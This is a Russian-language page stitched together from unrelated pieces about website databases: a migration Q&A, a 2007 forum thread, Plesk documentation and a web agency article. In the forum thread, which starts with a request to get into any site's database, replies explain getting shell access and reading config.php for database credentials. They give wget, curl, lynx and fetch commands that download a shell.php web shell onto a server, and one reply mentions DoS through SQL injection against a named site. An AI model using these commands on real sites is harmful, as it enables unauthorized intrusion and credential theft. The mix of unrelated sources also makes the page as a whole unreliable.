Как посмотреть базу данных сайта
Перейти к содержимому

Как посмотреть базу данных сайта

  • автор:

Как узнать адрес MySQL базы данных сайта?

Есть сайт — www.plastok.ru. Нужно перенести на другой хостинг. Есть доступ от БД, FTP и Админки сайта. Но не могу узнать адрес MySQL сервера что бы подключиться к нему и сделать экспорт БД.
В файле конфигурации БД адрес указан просто как localhost. Подскажите как узнать адрес MySQL?

  • Вопрос задан более трёх лет назад
  • 4872 просмотра

Комментировать

Решения вопроса 1

DevMan

берете navicat.
он умеет подключаться к удаленной базе по http-туннелю.
или https://www.adminer.org/ или что–то похожее.

Ответ написан более трёх лет назад

Нравится 1 3 комментария

Как посмотреть базу данных сайта

Страницы: 1
Как залезть в базу данных?
Это нравится: 0Да / 0Нет
30.04.2007 10:08:58
Как залезть в базу данных любого сайта?
Это нравится: 0Да / 0Нет
30.04.2007 10:16:56
Ну ты спросил. Для каждого сайта путь к базе данных индивидуален
Это нравится: 0Да / 0Нет
30.04.2007 10:18:16
Что ты хотел сказать под словом «индивидуален»?
Это нравится: 0Да / 0Нет
30.04.2007 10:25:20

У одного сайта он лежит скажем www.bla-bla.com/database/db.xls , а у другого www.blah-blah.com/bdfb/savgsx/fnfndf/database/db.xls , и это ещё смотря чего база данных

Это нравится: 0Да / 0Нет
30.04.2007 10:32:10
Ну я например хочу зайти в базу данных на WAP-сайте(didrov.ru)?
Это нравится: 0Да / 0Нет
30.04.2007 10:36:20

Если честно не C00L MEG@ >
Это нравится: 0Да / 0Нет
30.04.2007 11:28:55
Позвони админу сайта и спроси где у него phpmyadmin и скажи чтоб продиктовал тебе пароли.
Это нравится: 0Да / 0Нет
30.04.2007 11:31:12
ZEROska , Kollector Во-во, учись у умных людей, Kollector, это был бы самый мудрый способ
Это нравится: 0Да / 0Нет
30.04.2007 16:03:44

1. Вариант —Получи шелл доступ на данном сервер, затем Если знаешь про wget , curl , fetch, links,lynx, get > труда не заставит залить sql клиент (если ты конечно знаешь) , затем обычной командой locate или ручками находишь файл на сервере типа config.php или inc.php (обычно в начале файла указаны параметры db_user db_pass). От туда берешь логин и пароль(может быть так что найденные тобой данные для входа в базу относятся к одной и той же базе, где хранятся данные).

2. Вариант —Если уже и без выше написанного есть логин и пароль для нужной базы, можно попытаться выполнить telnet wap.com 3306 (я встречается что порт открыт для прослушивания, т.е. ты можешь просто залить sql клиент на свой хост и соединится с базой сайта удаленно, указав не localhost а название или ip сервера где хоститься твой сайт.)

Все прокатит на Mysql, но пойми это самая простая схема.(Может быть и другая база). Удачи.

Это нравится: 0Да / 0Нет
01.05.2007 07:12:23
zslade ! А где можно узнать про «wget , curl , fetch, links,lynx, get» и с чем его едят.
Это нравится: 0Да / 0Нет
01.05.2007 10:38:26

Этот сайт юзает 3 mysql. Вложенные запросы а также union не поддерживаются. Но есть возможность проведения dos через sql инекцию (что я не рекомендую делать).

Сообщений: 1446 Баллов: 1464 Регистрация: 28.09.2003
всего лишь человек.
Это нравится: 0Да / 0Нет
01.05.2007 14:16:04

Цитата
Kollector пишет:
А где можно узнать про «wget , curl , fetch, links,lynx, get» и с чем его едят.

А вообще, мой совет тебе: забей на взлом, если не хочешь променять славу на решётку. Судя по твоим вопросам — шансы у тебя очень большие

«Красота — как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно.»
Это нравится: 0Да / 0Нет
03.05.2007 02:59:48

Цитата
Kollector пишет:
zslade! А где можно узнать про «wget , curl , fetch, links,lynx, get» и с чем его едят.

Если есть шелл или ssh то обычно командой which wget или fetch, или man fetch!
Синтаксис

curl --output /papka/na/servere/shell.php http://site.com/shell.php wget -o /papka/na/servere/shell.php http://site.com/shell.php get http://site.com/shell.php > /papka/na/servere/shell.php links -source "http://site.com/shell.php" > /papka/na/servere/shell.php lynx -source http://site.com/shell.php > /papka/na/servere/shell.php fetch -o /papka/na/servere/shell.php http://site.com/shell.php get http://test2.ru/shells/rst.txt > uploads/sh.php

Базы данных сайтов

Если ваш сайт содержит приложения для обработки данных или динамический контент, вам наверняка понадобится создать для него базу данных.

В Plesk вы можете сделать следующее:

  • Вручную создать базу данных для своего сайта.
  • Сделать копию базы данных .
  • Управлять учетными записями пользователей баз данных и настроить правила доступа .
  • Просматривать сведения о подключении (имя хоста, название базы данных, имя пользователя).
  • Проверить базу данных на наличие ошибок и восстановить базу данных.
  • Экспортировать и импортировать дампы баз данных или создавать резервные копии баз данных как часть резервной копии подписки.
  • Перенести базу данных в другую подписку.
  • Привязать базу данных к одному из сайтов вашей подписки.
  • Работать с данными с помощью сторонних инструментов управления базами данных , таких как phpMyAdmin.

Эти операции доступны на странице Сайты и домены > Базы данных.

image 76958

Активный или классический списки

По умолчанию список баз данных показывается в режиме Активный список. Для переключения в режим Классический список, используйте иконку возле поля поиска. Основное различие между этими режимами заключается в том, что в режиме Активный список можно просматривать статистику по базам данных и названия сайтов, которым назначена база данных.

Инструменты для управления базами данных

С помощью сторонних инструментов управления базами данных, поставляемых с Plesk, вы можете редактировать таблицы баз данных, экспортировать и импортировать данные и выполнять SQL-запросы. Эти инструменты доступны по соответствующим ссылкам на странице Сайты и домены > Базы данных. Например, для управления базами данных MySQL Plesk использует phpMyAdmin.

Автоматическое создание баз данных

Когда вы устанавливаете приложения из каталога приложений, все необходимые базы данных и пользователи баз данных создаются автоматически. Как вариант, вы можете назначить базе данных, автоматически созданной веб-приложением, того пользователя, которого вы создали вручную. Более подробную информацию смотрите в разделе Веб-приложения > Базы данных приложений.

Доступ к базам данных с помощью ODBC

Если вы хотите установить приложение, которое работает с базой данных через драйвер ODBC, вам нужно создать соответствующий источник данных ODBC в операционной системе. В Plesk для Windows вы можете добавить источники данных ODBC для нескольких поддерживаемых драйверов ODBC. Подробности смотрите в разделе Доступ к базам данных с помощью ODBC (Windows) .

База данных для сайта

База данных для сайта

Из статьи вы узнаете, как база данных (БД) влияет на производительность сайта. Как проверить, грамотно ли спроектирована база данных. Какие признаки говорят об ошибках БД. Почему сайту нужна БД и что из себя представляет. И в конце статьи подготовили для вас чек-лист «Как проверить Базу данных сайта на ошибки».

Знаете, где хранится контент вашего сайта? Для информации, размещаемой на сайте, нужно найти место хранения. Контент (включая тексты, картинки, файлы для скачивания) хранится не просто на сайте, а в определенном месте. Объясню, не углубляясь в техническую часть, а на понятном для вас языке.

Что такое база данных сайта

База данных сайта — это файл или несколько файлов, в которые занесены данные (например, тексты медиа, ссылки) отображаемые на страницах сайта.

  • тексты новостей, статей, комментариев, ссылки;
  • имена, электронные адреса и другая информация о пользователях;
  • картинки, иллюстрации, gif, анимации.

БД применяется к сайтам, поддерживающим динамическое изменение контента. То есть, когда на сайте, например, систематически публикуются новости, статьи, предусмотрено комментирование пользователями.

Использование базы данных (далее БД) позволяет уменьшить скорость открытия страниц и увеличить безопасность сайта. А также позволяет добавлять контент через систему управления сайта, не обращаясь к разработчику.

  1. Информация заносится, хранится и меняется в БД, когда вы заполняете сайт в системе управления.
  2. Можно делать резервные копии, что гарантирует возврат контента, если с сайтом что-то случилось.

Информация записывается в базе данных и постоянно меняется (перезаписывается) в зависимости от того, как меняется контент на сайте. Для сохранности контента делают резервную копию. Для корпоративных сайтов, форумов, информационных порталов резервную копию БД делают один или несколько раз в сутки. Для менее активных сайтов раз в пару дней.

  • список заявок с сайта;
  • данные о зарегистрированных пользователях;
  • ссылки и настройки сайта;
  • установленные плагины и настройки;
  • медиа материалы;
  • и другая информация.

Без стабильного соединения сайта с базой данных, не просмотреть страницы. Чем больше контента и плагинов на веб-сайте, тем больше вес базы данных. Это напрямую влияет на скорость загрузки сайта в браузере.

база данных сайта в цепочке работы сайта

Вес материалов, загружаемых на сайт, напрямую влияет на скорость загрузки страниц. Чем тяжелее база данных, тем медленнее открываются страницы.

Рекомендации, как не утяжелять вес сайта

  1. Размещать видео на сайте с помощью ссылки на другие источники, а не загружать видео на сайт.
  2. Картинки публиковать весом не тяжелее 200кб и в формате jpg.
  3. Сжимать размер pdf-файла с помощью онлайн-конвертора.
  4. Папку с файлами для скачивания лучше переводить в формат «.zip».

Далее вы узнаете, где на сайте хранится контент сайта и как проверить, что контент хранится в базе данных.

Где хранится контент сайта

Если вы не разработчик своего сайта, то внешне определить, существует ли у сайта БД или нет, невозможно. Когда у сайта существует база данных, то у вас имеется пароль и логин для входа в систему управления, где заполняются страницы. Если БД нет, значит войти в систему управления сайта нельзя.

Зачастую контент сайта хранится в базе данных. Сохраняется контент в БД через систему управления сайтом, когда вы заполняете страницы. Также контент может храниться в верстке сайта, то есть в коде и не попадает в БД.

Разница между хранением контента в базе данных и на сайте

Контент хранится в базе данных сайта в виде структурированных таблиц. Сайт обращается к базе данных, запрашивает материал и отображает его на страницах. При этом менеджер добавляет/изменяет/удаляет контент через систему управления сайта.

В верстке сайта контент хранится в виде строчек кода и сразу отображается на сайте. Разница в том, что менеджер не сможет добавить/изменить/удалить контент в верстке без помощи технического специалиста.

Ниже рассмотрим оба варианта хранения контента. И как понять, где хранится контент вашего сайта.

Вариант 1: контент хранится в базе данных сайта

Как понять, что контент сохраняется именно в БД: войдя на страницу через систему управления сайта, вы увидите поля для заполнения текста и картинок.

  1. Заходите в систему управления сайтом.
  2. В меню находите страницу, которую хотите отредактировать, и нажимаете «редактировать».
  3. Страница открывается с полями для заполнения, где меняете текст и картинки.
  4. Вносите изменения и публикуете.

Ниже на скриншоте показываю, как выглядит страница с полями для заполнения в системе управления сайтом.

Страницу можно редактировать

Вариант 2: контент хранится в верстке

Как понять, что контент хранится в верстке (в коде страницы): в системе управления для страницы нет полей заполнения. В этом случае, в качестве места для хранения контента используется, например, html (язык разметки файлов для просмотра веб-страниц сайта в браузере. Не является БД).

Два способа проверить, что контент хранится в коде

  1. Заходите в систему управления сайта, вводя логин и пароль.
  2. В меню сайта находите страницу, которую нужно редактировать и открываете.
  3. Открывается пустая страница без возможности редактировать тексты и публиковать картинки. То есть без заполнителей, как на скриншоте ниже.

Это значит, что контент хранится в коде страницы, а не в базе данных веб-сайта. Ниже на скриншоте показываем, как выглядит пустая страница в системе управления.

Пустая страница без возможности редактировать

Как тогда меняется контент на странице? Разработчик меняет контент на сайте версткой: открывает проект, где видит сайт в виде строчек кода и вносит корректировки.

Когда на сайте отсутствует система управления, то можно считать, что не разработана БД. Если осталась связь с разработчиками, то обратитесь к ним. Отправьте письмо с просьбой подключить систему управления к сайту и предоставить вам логин и пароль для входа.

Далее рассказываю, как мы проектируем базу данных веб-сайта. Какие инструменты используем. Что будет, если неправильно спроектировать базу данных и как понять, что спроектирована неправильно. Что случится с сайтом, если не исправить ошибку.

С помощью каких инструментов мы проектируем базу данных сайта

Для проектирования базы данных существует множество инструментов. И выбираются по пожеланиям владельца будущего проекта и техническое задание. Также зависит от системы управления.

Например, наши разработчики часто используют MsSQL — систему управления реляционными базами данных, разработанной корпорацией Microsoft. Подходит для работы с крупными БД и менее масштабными. MsSQL – распространенный и технологичный инструмент, который используют многие компании.

  • Высокая скорость обработки информации и функциональность системы управления база данных. Результат: высокая производительность.
  • Язык запросов SQL многофункционален, позволяет редактировать данные таблиц без препятствий. Результат: скорость выполнения правок на сайте.

Что будет, если спроектировать базу данных неправильно

Ниже описываю стандартные последствия, по которым можно без специальных знаний проверить базу данных сайта. И понять, правильно ли разработчик спроектировал базу данных. И как ошибки БД повлияют на сайт, если не исправить.

  • Большой вес БД.
  • Данные из БД медленно загружаются.
  • Страница сайта долго открывается или выдает ошибку.

Ошибки БД

  • Элементы на сайте, такие как кнопки «Регистрация», «Купить» срабатывают с задержкой или не срабатывают вообще.
  • Некоторые элементы на сайте не отображаются или появляются с ошибкой.

Ошибка отображения новостей

Пример с ошибкой отображения новостей.

  • Для пользователя — сайт крайне медленно открывается, по нажатию на кнопки всплывают ошибки или ничего не происходит, не подгружается часть страницы или контент. В итоге вызывает раздражение. И далее пользователь уходит, так как в современном мире никто не готов ждать долгую загрузку сайта.
  • Для владельца сайта — потеря ресурсов (время, бюджет) и доходов (заявки).

Например. Разработчик оставил БД в плохом состоянии, побеспокоившись только о внешнем виде сайта. Понадобилось внести изменения. В лучшем случае, чтобы разобраться, куда добавить новые данные нужно просмотреть весь проект, а это время. В худшем — переделывать проект, что несет накладные расходы для партнера.

База данных проектируется для каждого веб-сайта. БД — это как фундамент, основание, на котором держится сайт. Без БД сайту неоткуда подтягивать информацию, чтобы отображать тексты, картинки, блоки, данные зарегистрированных пользователей и заявки.

  • каждый раз или через раз, все или один элемент на сайте не отображается;
  • по нажатию на кнопки ничего не происходит или появляется ошибка;
  • при редактировании данные на сайте не обновляются.

Правильно ли работает БД вашего сайта? Проверьте это с помощью Чек-листа проверки БД.

Или сохраните файл себе на компьютер — Скачайте чек-лист проверки БД.

Если вы обнаружили на своем сайте хотя бы 2 проблемы, то база данных нуждается в доработке.

Доработка базы данных сайта — серьезная задача, требующая специальных знаний и навыков. Одно неверное решение и сайт перестанет работать. Если трудно исправить самостоятельно или найти специалиста, то пишите нам на почту info@wiserv.ru. В письме оставьте ссылку на свой сайт, ваши контакты и кратко опишите задачу. Перейти к статьям категории Сайты

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *